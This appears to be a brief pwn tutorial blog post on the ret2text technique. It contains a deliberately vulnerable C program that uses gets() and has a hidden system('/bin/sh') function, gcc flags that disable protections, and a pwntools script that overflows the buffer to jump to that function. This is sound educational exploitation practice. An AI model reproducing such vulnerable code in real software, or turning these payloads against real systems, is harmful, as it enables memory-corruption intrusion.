ret2text
jerem1ah Lv4

ret2text

https://blog.csdn.net/m0_64815693/article/details/129201282?spm=1001.2014.3001.5502

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void secure(void) {
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if (input == secretcode)
system("/bin/sh");
}

int main(void) {
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 1, 0LL);

char s[100];

puts("shu ru ni de zhi?");
gets(s);
printf("yes yes yes");

return 0;
}
1
gcc -z noexecstack -no-pie -z norelro -fno-stack-protector test.c -o test
  1. 看保护image-20240802223920309

  2. 插入恶意数据后的栈帧image-20240803084520624

  3. image-20240803084612350

  4. from pwn import *
    context.log_level = "debug"
    context.terminal = ["bash"]
    p = gdb.debug("/home/pwn/05ret2text/test","break main")
    
    a = input("a:")
    payload = cyclic(0x70 + 0x08) + p64(0x000000000040127b)
    p.sendline(payload)
    p.interactive()
    
 Comments